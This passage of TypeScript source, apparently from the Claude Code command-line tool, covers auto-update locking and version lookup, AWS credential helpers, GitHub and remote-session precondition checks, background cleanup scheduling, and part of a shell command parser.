This will ensure you have access to the latest features and improvements.
`)
gracefulShutdownSync(1)
}
} catch (error) {
logError(error as Error)
}
}
/**
* Returns the maximum allowed version for the current user type.
* For ants, returns the `ant` field (dev version format).
* For external users, returns the `external` field (clean semver).
* This is used as a server-side kill switch to pause auto-updates during incidents.
* Returns undefined if no cap is configured.
*/
export async function getMaxVersion(): Promise<string | undefined> {
const config = await getMaxVersionConfig()
if (process.env.USER_TYPE === 'ant') {
return config.ant || undefined
}
return config.external || undefined
}
/**
* Returns the server-driven message explaining the known issue, if configured.
* Shown in the warning banner when the current version exceeds the max allowed version.
*/
export async function getMaxVersionMessage(): Promise<string | undefined> {
const config = await getMaxVersionConfig()
if (process.env.USER_TYPE === 'ant') {
return config.ant_message || undefined
}
return config.external_message || undefined
}
async function getMaxVersionConfig(): Promise<MaxVersionConfig> {
try {
return await getDynamicConfig_BLOCKS_ON_INIT<MaxVersionConfig>(
'tengu_max_version_config',
{},
)
} catch (error) {
logError(error as Error)
return {}
}
}
/**
* Checks if a target version should be skipped due to user's minimumVersion setting.
* This is used when switching to stable channel - the user can choose to stay on their
* current version until stable catches up, preventing downgrades.
*/
export function shouldSkipVersion(targetVersion: string): boolean {
const settings = getInitialSettings()
const minimumVersion = settings?.minimumVersion
if (!minimumVersion) {
return false
}
// Skip if target version is less than minimum
const shouldSkip = !gte(targetVersion, minimumVersion)
if (shouldSkip) {
logForDebugging(
`Skipping update to ${targetVersion} - below minimumVersion ${minimumVersion}`,
)
}
return shouldSkip
}
// Lock file for auto-updater to prevent concurrent updates
const LOCK_TIMEOUT_MS = 5 * 60 * 1000 // 5 minute timeout for locks
/**
* Get the path to the lock file
* This is a function to ensure it's evaluated at runtime after test setup
*/
export function getLockFilePath(): string {
return join(getClaudeConfigHomeDir(), '.update.lock')
}
/**
* Attempts to acquire a lock for auto-updater
* @returns true if lock was acquired, false if another process holds the lock
*/
async function acquireLock(): Promise<boolean> {
const fs = getFsImplementation()
const lockPath = getLockFilePath()
// Check for existing lock: 1 stat() on the happy path (fresh lock or ENOENT),
// 2 on stale-lock recovery (re-verify staleness immediately before unlink).
try {
const stats = await fs.stat(lockPath)
const age = Date.now() - stats.mtimeMs
if (age < LOCK_TIMEOUT_MS) {
return false
}
// Lock is stale, remove it before taking over. Re-verify staleness
// immediately before unlinking to close a TOCTOU race: if two processes
// both observe the stale lock, A unlinks + writes a fresh lock, then B
// would unlink A's fresh lock and both believe they hold it. A fresh
// lock has a recent mtime, so re-checking staleness makes B back off.
try {
const recheck = await fs.stat(lockPath)
if (Date.now() - recheck.mtimeMs < LOCK_TIMEOUT_MS) {
return false
}
await fs.unlink(lockPath)
} catch (err) {
if (!isENOENT(err)) {
logError(err as Error)
return false
}
}
} catch (err) {
if (!isENOENT(err)) {
logError(err as Error)
return false
}
// ENOENT: no lock file, proceed to create one
}
// Create lock file atomically with O_EXCL (flag: 'wx'). If another process
// wins the race and creates it first, we get EEXIST and back off.
// Lazy-mkdir the config dir on ENOENT.
try {
await writeFile(lockPath, `${process.pid}`, {
encoding: 'utf8',
flag: 'wx',
})
return true
} catch (err) {
const code = getErrnoCode(err)
if (code === 'EEXIST') {
return false
}
if (code === 'ENOENT') {
try {
// fs.mkdir from getFsImplementation() is always recursive:true and
// swallows EEXIST internally, so a dir-creation race cannot reach the
// catch below — only writeFile's EEXIST (true lock contention) can.
await fs.mkdir(getClaudeConfigHomeDir())
await writeFile(lockPath, `${process.pid}`, {
encoding: 'utf8',
flag: 'wx',
})
return true
} catch (mkdirErr) {
if (getErrnoCode(mkdirErr) === 'EEXIST') {
return false
}
logError(mkdirErr as Error)
return false
}
}
logError(err as Error)
return false
}
}
/**
* Releases the update lock if it's held by this process
*/
async function releaseLock(): Promise<void> {
const fs = getFsImplementation()
const lockPath = getLockFilePath()
try {
const lockData = await fs.readFile(lockPath, { encoding: 'utf8' })
if (lockData === `${process.pid}`) {
await fs.unlink(lockPath)
}
} catch (err) {
if (isENOENT(err)) {
return
}
logError(err as Error)
}
}
async function getInstallationPrefix(): Promise<string | null> {
// Run from home directory to avoid reading project-level .npmrc/.bunfig.toml
const isBun = env.isRunningWithBun()
let prefixResult = null
if (isBun) {
prefixResult = await execFileNoThrowWithCwd('bun', ['pm', 'bin', '-g'], {
cwd: homedir(),
})
} else {
prefixResult = await execFileNoThrowWithCwd(
'npm',
['-g', 'config', 'get', 'prefix'],
{ cwd: homedir() },
)
}
if (prefixResult.code !== 0) {
logError(new Error(`Failed to check ${isBun ? 'bun' : 'npm'} permissions`))
return null
}
return prefixResult.stdout.trim()
}
export async function checkGlobalInstallPermissions(): Promise<{
hasPermissions: boolean
npmPrefix: string | null
}> {
try {
const prefix = await getInstallationPrefix()
if (!prefix) {
return { hasPermissions: false, npmPrefix: null }
}
try {
await access(prefix, fsConstants.W_OK)
return { hasPermissions: true, npmPrefix: prefix }
} catch {
logError(
new AutoUpdaterError(
'Insufficient permissions for global npm install.',
),
)
return { hasPermissions: false, npmPrefix: prefix }
}
} catch (error) {
logError(error as Error)
return { hasPermissions: false, npmPrefix: null }
}
}
export async function getLatestVersion(
channel: ReleaseChannel,
): Promise<string | null> {
const npmTag = channel === 'stable' ? 'stable' : 'latest'
// Run from home directory to avoid reading project-level .npmrc
// which could be maliciously crafted to redirect to an attacker's registry
const result = await execFileNoThrowWithCwd(
'npm',
['view', `${MACRO.PACKAGE_URL}@${npmTag}`, 'version', '--prefer-online'],
{ abortSignal: AbortSignal.timeout(5000), cwd: homedir() },
)
if (result.code !== 0) {
logForDebugging(`npm view failed with code ${result.code}`)
if (result.stderr) {
logForDebugging(`npm stderr: ${result.stderr.trim()}`)
} else {
logForDebugging('npm stderr: (empty)')
}
if (result.stdout) {
logForDebugging(`npm stdout: ${result.stdout.trim()}`)
}
return null
}
return result.stdout.trim()
}
export type NpmDistTags = {
latest: string | null
stable: string | null
}
/**
* Get npm dist-tags (latest and stable versions) from the registry.
* This is used by the doctor command to show users what versions are available.
*/
export async function getNpmDistTags(): Promise<NpmDistTags> {
// Run from home directory to avoid reading project-level .npmrc
const result = await execFileNoThrowWithCwd(
'npm',
['view', MACRO.PACKAGE_URL, 'dist-tags', '--json', '--prefer-online'],
{ abortSignal: AbortSignal.timeout(5000), cwd: homedir() },
)
if (result.code !== 0) {
logForDebugging(`npm view dist-tags failed with code ${result.code}`)
return { latest: null, stable: null }
}
try {
const parsed = jsonParse(result.stdout.trim()) as Record<string, unknown>
return {
latest: typeof parsed.latest === 'string' ? parsed.latest : null,
stable: typeof parsed.stable === 'string' ? parsed.stable : null,
}
} catch (error) {
logForDebugging(`Failed to parse dist-tags: ${error}`)
return { latest: null, stable: null }
}
}
/**
* Get the latest version from GCS bucket for a given release channel.
* This is used by installations that don't have npm (e.g. package manager installs).
*/
export async function getLatestVersionFromGcs(
channel: ReleaseChannel,
): Promise<string | null> {
try {
const response = await axios.get(`${GCS_BUCKET_URL}/${channel}`, {
timeout: 5000,
responseType: 'text',
})
return response.data.trim()
} catch (error) {
logForDebugging(`Failed to fetch ${channel} from GCS: ${error}`)
return null
}
}
/**
* Get available versions from GCS bucket (for native installations).
* Fetches both latest and stable channel pointers.
*/
export async function getGcsDistTags(): Promise<NpmDistTags> {
const [latest, stable] = await Promise.all([
getLatestVersionFromGcs('latest'),
getLatestVersionFromGcs('stable'),
])
return { latest, stable }
}
/**
* Get version history from npm registry (ant-only feature)
* Returns versions sorted newest-first, limited to the specified count
*
* Uses NATIVE_PACKAGE_URL when available because:
* 1. Native installation is the primary installation method for ant users
* 2. Not all JS package versions have corresponding native packages
* 3. This prevents rollback from listing versions that don't have native binaries
*/
export async function getVersionHistory(limit: number): Promise<string[]> {
if (process.env.USER_TYPE !== 'ant') {
return []
}
// Use native package URL when available to ensure we only show versions
// that have native binaries (not all JS package versions have native builds)
const packageUrl = MACRO.NATIVE_PACKAGE_URL ?? MACRO.PACKAGE_URL
// Run from home directory to avoid reading project-level .npmrc
const result = await execFileNoThrowWithCwd(
'npm',
['view', packageUrl, 'versions', '--json', '--prefer-online'],
// Longer timeout for version list
{ abortSignal: AbortSignal.timeout(30000), cwd: homedir() },
)
if (result.code !== 0) {
logForDebugging(`npm view versions failed with code ${result.code}`)
if (result.stderr) {
logForDebugging(`npm stderr: ${result.stderr.trim()}`)
}
return []
}
try {
const versions = jsonParse(result.stdout.trim()) as string[]
// Take last N versions, then reverse to get newest first
return versions.slice(-limit).reverse()
} catch (error) {
logForDebugging(`Failed to parse version history: ${error}`)
return []
}
}
export async function installGlobalPackage(
specificVersion?: string | null,
): Promise<InstallStatus> {
if (!(await acquireLock())) {
logError(
new AutoUpdaterError('Another process is currently installing an update'),
)
// Log the lock contention
logEvent('tengu_auto_updater_lock_contention', {
pid: process.pid,
currentVersion:
MACRO.VERSION as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
})
return 'in_progress'
}
try {
await removeClaudeAliasesFromShellConfigs()
// Check if we're using npm from Windows path in WSL
if (!env.isRunningWithBun() && env.isNpmFromWindowsPath()) {
logError(new Error('Windows NPM detected in WSL environment'))
logEvent('tengu_auto_updater_windows_npm_in_wsl', {
currentVersion:
MACRO.VERSION as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
})
// biome-ignore lint/suspicious/noConsole:: intentional console output
console.error(`
Error: Windows NPM detected in WSL
You're running Claude Code in WSL but using the Windows NPM installation from /mnt/c/.
This configuration is not supported for updates.
To fix this issue:
1. Install Node.js within your Linux distribution: e.g. sudo apt install nodejs npm
2. Make sure Linux NPM is in your PATH before the Windows version
3. Try updating again with 'claude update'
`)
return 'install_failed'
}
const { hasPermissions } = await checkGlobalInstallPermissions()
if (!hasPermissions) {
return 'no_permissions'
}
// Use specific version if provided, otherwise use latest
const packageSpec = specificVersion
? `${MACRO.PACKAGE_URL}@${specificVersion}`
: MACRO.PACKAGE_URL
// Run from home directory to avoid reading project-level .npmrc/.bunfig.toml
// which could be maliciously crafted to redirect to an attacker's registry
const packageManager = env.isRunningWithBun() ? 'bun' : 'npm'
const installResult = await execFileNoThrowWithCwd(
packageManager,
['install', '-g', packageSpec],
{ cwd: homedir() },
)
if (installResult.code !== 0) {
const error = new AutoUpdaterError(
`Failed to install new version of claude: ${installResult.stdout} ${installResult.stderr}`,
)
logError(error)
return 'install_failed'
}
// Set installMethod to 'global' to track npm global installations
saveGlobalConfig(current => ({
...current,
installMethod: 'global',
}))
return 'success'
} finally {
// Ensure we always release the lock
await releaseLock()
}
}
/**
* Remove claude aliases from shell configuration files
* This helps clean up old installation methods when switching to native or npm global
*/
async function removeClaudeAliasesFromShellConfigs(): Promise<void> {
const configMap = getShellConfigPaths()
// Process each shell config file
for (const [, configFile] of Object.entries(configMap)) {
try {
const lines = await readFileLines(configFile)
if (!lines) continue
const { filtered, hadAlias } = filterClaudeAliases(lines)
if (hadAlias) {
await writeFileLines(configFile, filtered)
logForDebugging(`Removed claude alias from ${configFile}`)
}
} catch (error) {
// Don't fail the whole operation if one file can't be processed
logForDebugging(`Failed to remove alias from ${configFile}: ${error}`, {
level: 'error',
})
}
}
}

74
src/utils/aws.ts Normal file
View File

@@ -0,0 +1,74 @@
import { logForDebugging } from './debug.js'
/** AWS short-term credentials format. */
export type AwsCredentials = {
AccessKeyId: string
SecretAccessKey: string
SessionToken: string
Expiration?: string
}
/** Output from `aws sts get-session-token` or `aws sts assume-role`. */
export type AwsStsOutput = {
Credentials: AwsCredentials
}
type AwsError = {
name: string
}
export function isAwsCredentialsProviderError(err: unknown) {
return (err as AwsError | undefined)?.name === 'CredentialsProviderError'
}
/** Typeguard to validate AWS STS assume-role output */
export function isValidAwsStsOutput(obj: unknown): obj is AwsStsOutput {
if (!obj || typeof obj !== 'object') {
return false
}
const output = obj as Record<string, unknown>
// Check if Credentials exists and has required fields
if (!output.Credentials || typeof output.Credentials !== 'object') {
return false
}
const credentials = output.Credentials as Record<string, unknown>
return (
typeof credentials.AccessKeyId === 'string' &&
typeof credentials.SecretAccessKey === 'string' &&
typeof credentials.SessionToken === 'string' &&
credentials.AccessKeyId.length > 0 &&
credentials.SecretAccessKey.length > 0 &&
credentials.SessionToken.length > 0
)
}
/** Throws if STS caller identity cannot be retrieved. */
export async function checkStsCallerIdentity(): Promise<void> {
const { STSClient, GetCallerIdentityCommand } = await import(
'@aws-sdk/client-sts'
)
await new STSClient().send(new GetCallerIdentityCommand({}))
}
/**
* Clear AWS credential provider cache by forcing a refresh
* This ensures that any changes to ~/.aws/credentials are picked up immediately
*/
export async function clearAwsIniCache(): Promise<void> {
try {
logForDebugging('Clearing AWS credential provider cache')
const { fromIni } = await import('@aws-sdk/credential-providers')
const iniProvider = fromIni({ ignoreCache: true })
await iniProvider() // This updates the global file cache
logForDebugging('AWS credential provider cache refreshed')
} catch (_error) {
// Ignore errors - we're just clearing the cache
logForDebugging(
'Failed to clear AWS credential cache (this is expected if no credentials are configured)',
)
}
}

View File

@@ -0,0 +1,81 @@
/**
* Singleton manager for cloud-provider authentication status (AWS Bedrock,
* GCP Vertex). Communicates auth refresh state between auth utilities and
* React components / SDK output. The SDK 'auth_status' message shape is
* provider-agnostic, so a single manager serves all providers.
*
* Legacy name: originally AWS-only; now used by all cloud auth refresh flows.
*/
import { createSignal } from './signal.js'
export type AwsAuthStatus = {
isAuthenticating: boolean
output: string[]
error?: string
}
export class AwsAuthStatusManager {
private static instance: AwsAuthStatusManager | null = null
private status: AwsAuthStatus = {
isAuthenticating: false,
output: [],
}
private changed = createSignal<[status: AwsAuthStatus]>()
static getInstance(): AwsAuthStatusManager {
if (!AwsAuthStatusManager.instance) {
AwsAuthStatusManager.instance = new AwsAuthStatusManager()
}
return AwsAuthStatusManager.instance
}
getStatus(): AwsAuthStatus {
return {
...this.status,
output: [...this.status.output],
}
}
startAuthentication(): void {
this.status = {
isAuthenticating: true,
output: [],
}
this.changed.emit(this.getStatus())
}
addOutput(line: string): void {
this.status.output.push(line)
this.changed.emit(this.getStatus())
}
setError(error: string): void {
this.status.error = error
this.changed.emit(this.getStatus())
}
endAuthentication(success: boolean): void {
if (success) {
// Clear the status completely on success
this.status = {
isAuthenticating: false,
output: [],
}
} else {
// Keep the output visible on failure
this.status.isAuthenticating = false
}
this.changed.emit(this.getStatus())
}
subscribe = this.changed.subscribe
// Clean up for testing
static reset(): void {
if (AwsAuthStatusManager.instance) {
AwsAuthStatusManager.instance.changed.clear()
AwsAuthStatusManager.instance = null
}
}
}

View File

@@ -0,0 +1,235 @@
import axios from 'axios'
import { getOauthConfig } from 'src/constants/oauth.js'
import { getOrganizationUUID } from 'src/services/oauth/client.js'
import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../../services/analytics/growthbook.js'
import {
checkAndRefreshOAuthTokenIfNeeded,
getClaudeAIOAuthTokens,
isClaudeAISubscriber,
} from '../../auth.js'
import { getCwd } from '../../cwd.js'
import { logForDebugging } from '../../debug.js'
import { detectCurrentRepository } from '../../detectRepository.js'
import { errorMessage } from '../../errors.js'
import { findGitRoot, getIsClean } from '../../git.js'
import { getOAuthHeaders } from '../../teleport/api.js'
import { fetchEnvironments } from '../../teleport/environments.js'
/**
* Checks if user needs to log in with Claude.ai
* Extracted from getTeleportErrors() in TeleportError.tsx
* @returns true if login is required, false otherwise
*/
export async function checkNeedsClaudeAiLogin(): Promise<boolean> {
if (!isClaudeAISubscriber()) {
return false
}
return checkAndRefreshOAuthTokenIfNeeded()
}
/**
* Checks if git working directory is clean (no uncommitted changes)
* Ignores untracked files since they won't be lost during branch switching
* Extracted from getTeleportErrors() in TeleportError.tsx
* @returns true if git is clean, false otherwise
*/
export async function checkIsGitClean(): Promise<boolean> {
const isClean = await getIsClean({ ignoreUntracked: true })
return isClean
}
/**
* Checks if user has access to at least one remote environment
* @returns true if user has remote environments, false otherwise
*/
export async function checkHasRemoteEnvironment(): Promise<boolean> {
try {
const environments = await fetchEnvironments()
return environments.length > 0
} catch (error) {
logForDebugging(`checkHasRemoteEnvironment failed: ${errorMessage(error)}`)
return false
}
}
/**
* Checks if current directory is inside a git repository (has .git/).
* Distinct from checkHasGitRemote — a local-only repo passes this but not that.
*/
export function checkIsInGitRepo(): boolean {
return findGitRoot(getCwd()) !== null
}
/**
* Checks if current repository has a GitHub remote configured.
* Returns false for local-only repos (git init with no `origin`).
*/
export async function checkHasGitRemote(): Promise<boolean> {
const repository = await detectCurrentRepository()
return repository !== null
}
/**
* Checks if GitHub app is installed on a specific repository
* @param owner The repository owner (e.g., "anthropics")
* @param repo The repository name (e.g., "claude-cli-internal")
* @returns true if GitHub app is installed, false otherwise
*/
export async function checkGithubAppInstalled(
owner: string,
repo: string,
signal?: AbortSignal,
): Promise<boolean> {
try {
const accessToken = getClaudeAIOAuthTokens()?.accessToken
if (!accessToken) {
logForDebugging(
'checkGithubAppInstalled: No access token found, assuming app not installed',
)
return false
}
const orgUUID = await getOrganizationUUID()
if (!orgUUID) {
logForDebugging(
'checkGithubAppInstalled: No org UUID found, assuming app not installed',
)
return false
}
const url = `${getOauthConfig().BASE_API_URL}/api/oauth/organizations/${orgUUID}/code/repos/${owner}/${repo}`
const headers = {
...getOAuthHeaders(accessToken),
'x-organization-uuid': orgUUID,
}
logForDebugging(`Checking GitHub app installation for ${owner}/${repo}`)
const response = await axios.get<{
repo: {
name: string
owner: { login: string }
default_branch: string
}
status: {
app_installed: boolean
relay_enabled: boolean
} | null
}>(url, {
headers,
timeout: 15000,
signal,
})
if (response.status === 200) {
if (response.data.status) {
const installed = response.data.status.app_installed
logForDebugging(
`GitHub app ${installed ? 'is' : 'is not'} installed on ${owner}/${repo}`,
)
return installed
}
// status is null - app is not installed on this repo
logForDebugging(
`GitHub app is not installed on ${owner}/${repo} (status is null)`,
)
return false
}
logForDebugging(
`checkGithubAppInstalled: Unexpected response status ${response.status}`,
)
return false
} catch (error) {
// 4XX errors typically mean app is not installed or repo not accessible
if (axios.isAxiosError(error)) {
const status = error.response?.status
if (status && status >= 400 && status < 500) {
logForDebugging(
`checkGithubAppInstalled: Got ${status} error, app likely not installed on ${owner}/${repo}`,
)
return false
}
}
logForDebugging(`checkGithubAppInstalled error: ${errorMessage(error)}`)
return false
}
}
/**
* Checks if the user has synced their GitHub credentials via /web-setup
* @returns true if GitHub token is synced, false otherwise
*/
export async function checkGithubTokenSynced(): Promise<boolean> {
try {
const accessToken = getClaudeAIOAuthTokens()?.accessToken
if (!accessToken) {
logForDebugging('checkGithubTokenSynced: No access token found')
return false
}
const orgUUID = await getOrganizationUUID()
if (!orgUUID) {
logForDebugging('checkGithubTokenSynced: No org UUID found')
return false
}
const url = `${getOauthConfig().BASE_API_URL}/api/oauth/organizations/${orgUUID}/sync/github/auth`
const headers = {
...getOAuthHeaders(accessToken),
'x-organization-uuid': orgUUID,
}
logForDebugging('Checking if GitHub token is synced via web-setup')
const response = await axios.get(url, {
headers,
timeout: 15000,
})
const synced =
response.status === 200 && response.data?.is_authenticated === true
logForDebugging(
`GitHub token synced: ${synced} (status=${response.status}, data=${JSON.stringify(response.data)})`,
)
return synced
} catch (error) {
if (axios.isAxiosError(error)) {
const status = error.response?.status
if (status && status >= 400 && status < 500) {
logForDebugging(
`checkGithubTokenSynced: Got ${status}, token not synced`,
)
return false
}
}
logForDebugging(`checkGithubTokenSynced error: ${errorMessage(error)}`)
return false
}
}
type RepoAccessMethod = 'github-app' | 'token-sync' | 'none'
/**
* Tiered check for whether a GitHub repo is accessible for remote operations.
* 1. GitHub App installed on the repo
* 2. GitHub token synced via /web-setup
* 3. Neither — caller should prompt user to set up access
*/
export async function checkRepoForRemoteAccess(
owner: string,
repo: string,
): Promise<{ hasAccess: boolean; method: RepoAccessMethod }> {
if (await checkGithubAppInstalled(owner, repo)) {
return { hasAccess: true, method: 'github-app' }
}
if (
getFeatureValue_CACHED_MAY_BE_STALE('tengu_cobalt_lantern', false) &&
(await checkGithubTokenSynced())
) {
return { hasAccess: true, method: 'token-sync' }
}
return { hasAccess: false, method: 'none' }
}

View File

@@ -0,0 +1,98 @@
import type { SDKMessage } from 'src/entrypoints/agentSdkTypes.js'
import { checkGate_CACHED_OR_BLOCKING } from '../../../services/analytics/growthbook.js'
import { isPolicyAllowed } from '../../../services/policyLimits/index.js'
import { detectCurrentRepositoryWithHost } from '../../detectRepository.js'
import { isEnvTruthy } from '../../envUtils.js'
import type { TodoList } from '../../todo/types.js'
import {
checkGithubAppInstalled,
checkHasRemoteEnvironment,
checkIsInGitRepo,
checkNeedsClaudeAiLogin,
} from './preconditions.js'
/**
* Background remote session type for managing teleport sessions
*/
export type BackgroundRemoteSession = {
id: string
command: string
startTime: number
status: 'starting' | 'running' | 'completed' | 'failed' | 'killed'
todoList: TodoList
title: string
type: 'remote_session'
log: SDKMessage[]
}
/**
* Precondition failures for background remote sessions
*/
export type BackgroundRemoteSessionPrecondition =
| { type: 'not_logged_in' }
| { type: 'no_remote_environment' }
| { type: 'not_in_git_repo' }
| { type: 'no_git_remote' }
| { type: 'github_app_not_installed' }
| { type: 'policy_blocked' }
/**
* Checks eligibility for creating a background remote session
* Returns an array of failed preconditions (empty array means all checks passed)
*
* @returns Array of failed preconditions
*/
export async function checkBackgroundRemoteSessionEligibility({
skipBundle = false,
}: {
skipBundle?: boolean
} = {}): Promise<BackgroundRemoteSessionPrecondition[]> {
const errors: BackgroundRemoteSessionPrecondition[] = []
// Check policy first - if blocked, no need to check other preconditions
if (!isPolicyAllowed('allow_remote_sessions')) {
errors.push({ type: 'policy_blocked' })
return errors
}
const [needsLogin, hasRemoteEnv, repository] = await Promise.all([
checkNeedsClaudeAiLogin(),
checkHasRemoteEnvironment(),
detectCurrentRepositoryWithHost(),
])
if (needsLogin) {
errors.push({ type: 'not_logged_in' })
}
if (!hasRemoteEnv) {
errors.push({ type: 'no_remote_environment' })
}
// When bundle seeding is on, in-git-repo is enough — CCR can seed from
// a local bundle. No GitHub remote or app needed. Same gate as
// teleport.tsx bundleSeedGateOn.
const bundleSeedGateOn =
!skipBundle &&
(isEnvTruthy(process.env.CCR_FORCE_BUNDLE) ||
isEnvTruthy(process.env.CCR_ENABLE_BUNDLE) ||
(await checkGate_CACHED_OR_BLOCKING('tengu_ccr_bundle_seed_enabled')))
if (!checkIsInGitRepo()) {
errors.push({ type: 'not_in_git_repo' })
} else if (bundleSeedGateOn) {
// has .git/, bundle will work — skip remote+app checks
} else if (repository === null) {
errors.push({ type: 'no_git_remote' })
} else if (repository.host === 'github.com') {
const hasGithubApp = await checkGithubAppInstalled(
repository.owner,
repository.name,
)
if (!hasGithubApp) {
errors.push({ type: 'github_app_not_installed' })
}
}
return errors
}

View File

@@ -0,0 +1,94 @@
import { feature } from 'bun:bundle'
import { initAutoDream } from '../services/autoDream/autoDream.js'
import { initMagicDocs } from '../services/MagicDocs/magicDocs.js'
import { initSkillImprovement } from './hooks/skillImprovement.js'
/* eslint-disable @typescript-eslint/no-require-imports */
const extractMemoriesModule = feature('EXTRACT_MEMORIES')
? (require('../services/extractMemories/extractMemories.js') as typeof import('../services/extractMemories/extractMemories.js'))
: null
const registerProtocolModule = feature('LODESTONE')
? (require('./deepLink/registerProtocol.js') as typeof import('./deepLink/registerProtocol.js'))
: null
/* eslint-enable @typescript-eslint/no-require-imports */
import { getIsInteractive, getLastInteractionTime } from '../bootstrap/state.js'
import {
cleanupNpmCacheForAnthropicPackages,
cleanupOldMessageFilesInBackground,
cleanupOldVersionsThrottled,
} from './cleanup.js'
import { cleanupOldVersions } from './nativeInstaller/index.js'
import { autoUpdateMarketplacesAndPluginsInBackground } from './plugins/pluginAutoupdate.js'
// 24 hours in milliseconds
const RECURRING_CLEANUP_INTERVAL_MS = 24 * 60 * 60 * 1000
// 10 minutes after start.
const DELAY_VERY_SLOW_OPERATIONS_THAT_HAPPEN_EVERY_SESSION = 10 * 60 * 1000
export function startBackgroundHousekeeping(): void {
void initMagicDocs()
void initSkillImprovement()
if (feature('EXTRACT_MEMORIES')) {
extractMemoriesModule!.initExtractMemories()
}
initAutoDream()
void autoUpdateMarketplacesAndPluginsInBackground()
if (feature('LODESTONE') && getIsInteractive()) {
void registerProtocolModule!.ensureDeepLinkProtocolRegistered()
}
let needsCleanup = true
async function runVerySlowOps(): Promise<void> {
// If the user did something in the last minute, don't make them wait for these slow operations to run.
if (
getIsInteractive() &&
getLastInteractionTime() > Date.now() - 1000 * 60
) {
setTimeout(
runVerySlowOps,
DELAY_VERY_SLOW_OPERATIONS_THAT_HAPPEN_EVERY_SESSION,
).unref()
return
}
if (needsCleanup) {
needsCleanup = false
await cleanupOldMessageFilesInBackground()
}
// If the user did something in the last minute, don't make them wait for these slow operations to run.
if (
getIsInteractive() &&
getLastInteractionTime() > Date.now() - 1000 * 60
) {
setTimeout(
runVerySlowOps,
DELAY_VERY_SLOW_OPERATIONS_THAT_HAPPEN_EVERY_SESSION,
).unref()
return
}
await cleanupOldVersions()
}
setTimeout(
runVerySlowOps,
DELAY_VERY_SLOW_OPERATIONS_THAT_HAPPEN_EVERY_SESSION,
).unref()
// For long-running sessions, schedule recurring cleanup every 24 hours.
// Both cleanup functions use marker files and locks to throttle to once per day
// and skip immediately if another process holds the lock.
if (process.env.USER_TYPE === 'ant') {
const interval = setInterval(() => {
void cleanupNpmCacheForAnthropicPackages()
void cleanupOldVersionsThrottled()
}, RECURRING_CLEANUP_INTERVAL_MS)
// Don't let this interval keep the process alive
interval.unref()
}
}

View File

@@ -0,0 +1,318 @@
import memoize from 'lodash-es/memoize.js'
import {
extractOutputRedirections,
splitCommandWithOperators,
} from './commands.js'
import type { Node } from './parser.js'
import {
analyzeCommand,
type TreeSitterAnalysis,
} from './treeSitterAnalysis.js'
export type OutputRedirection = {
target: string
operator: '>' | '>>'
}
/**
* Interface for parsed command implementations.
* Both tree-sitter and regex fallback implementations conform to this.
*/
export interface IParsedCommand {
readonly originalCommand: string
toString(): string
getPipeSegments(): string[]
withoutOutputRedirections(): string
getOutputRedirections(): OutputRedirection[]
/**
* Returns tree-sitter analysis data if available.
* Returns null for the regex fallback implementation.
*/
getTreeSitterAnalysis(): TreeSitterAnalysis | null
}
/**
* @deprecated Legacy regex/shell-quote path. Only used when tree-sitter is
* unavailable. The primary gate is parseForSecurity (ast.ts).
*
* Regex-based fallback implementation using shell-quote parser.
* Used when tree-sitter is not available.
* Exported for testing purposes.
*/
export class RegexParsedCommand_DEPRECATED implements IParsedCommand {
readonly originalCommand: string
constructor(command: string) {
this.originalCommand = command
}
toString(): string {
return this.originalCommand
}
getPipeSegments(): string[] {
try {
const parts = splitCommandWithOperators(this.originalCommand)
const segments: string[] = []
let currentSegment: string[] = []
for (const part of parts) {
if (part === '|') {
if (currentSegment.length > 0) {
segments.push(currentSegment.join(' '))
currentSegment = []
}
} else {
currentSegment.push(part)
}
}
if (currentSegment.length > 0) {
segments.push(currentSegment.join(' '))
}
return segments.length > 0 ? segments : [this.originalCommand]
} catch {
return [this.originalCommand]
}
}
withoutOutputRedirections(): string {
if (!this.originalCommand.includes('>')) {
return this.originalCommand
}
const { commandWithoutRedirections, redirections } =
extractOutputRedirections(this.originalCommand)
return redirections.length > 0
? commandWithoutRedirections
: this.originalCommand
}
getOutputRedirections(): OutputRedirection[] {
const { redirections } = extractOutputRedirections(this.originalCommand)
return redirections
}
getTreeSitterAnalysis(): TreeSitterAnalysis | null {
return null
}
}
type RedirectionNode = OutputRedirection & {
startIndex: number
endIndex: number
}
function visitNodes(node: Node, visitor: (node: Node) => void): void {
visitor(node)
for (const child of node.children) {
visitNodes(child, visitor)
}
}
function extractPipePositions(rootNode: Node): number[] {
const pipePositions: number[] = []
visitNodes(rootNode, node => {
if (node.type === 'pipeline') {
for (const child of node.children) {
if (child.type === '|') {
pipePositions.push(child.startIndex)
}
}
}
})
// visitNodes is depth-first. For `a | b && c | d`, the outer `list` nests
// the second pipeline as a sibling of the first, so the outer `|` is
// visited before the inner one — positions arrive out of order.
// getPipeSegments iterates them to slice left-to-right, so sort here.
return pipePositions.sort((a, b) => a - b)
}
function extractRedirectionNodes(rootNode: Node): RedirectionNode[] {
const redirections: RedirectionNode[] = []
visitNodes(rootNode, node => {
if (node.type === 'file_redirect') {
const children = node.children
const op = children.find(c => c.type === '>' || c.type === '>>')
const target = children.find(c => c.type === 'word')
if (op && target) {
redirections.push({
startIndex: node.startIndex,
endIndex: node.endIndex,
target: target.text,
operator: op.type as '>' | '>>',
})
}
}
})
return redirections
}
class TreeSitterParsedCommand implements IParsedCommand {
readonly originalCommand: string
// Tree-sitter's startIndex/endIndex are UTF-8 byte offsets, but JS
// String.slice() uses UTF-16 code-unit indices. For ASCII they coincide;
// for multi-byte code points (e.g. `—` U+2014: 3 UTF-8 bytes, 1 code unit)
// they diverge and slicing the string directly lands mid-token. Slicing
// the UTF-8 Buffer with tree-sitter's byte offsets and decoding back to
// string is correct regardless of code-point width.
private readonly commandBytes: Buffer
private readonly pipePositions: number[]
private readonly redirectionNodes: RedirectionNode[]
private readonly treeSitterAnalysis: TreeSitterAnalysis
constructor(
command: string,
pipePositions: number[],
redirectionNodes: RedirectionNode[],
treeSitterAnalysis: TreeSitterAnalysis,
) {
this.originalCommand = command
this.commandBytes = Buffer.from(command, 'utf8')
this.pipePositions = pipePositions
this.redirectionNodes = redirectionNodes
this.treeSitterAnalysis = treeSitterAnalysis
}
toString(): string {
return this.originalCommand
}
getPipeSegments(): string[] {
if (this.pipePositions.length === 0) {
return [this.originalCommand]
}
const segments: string[] = []
let currentStart = 0
for (const pipePos of this.pipePositions) {
const segment = this.commandBytes
.subarray(currentStart, pipePos)
.toString('utf8')
.trim()
if (segment) {
segments.push(segment)
}
currentStart = pipePos + 1
}
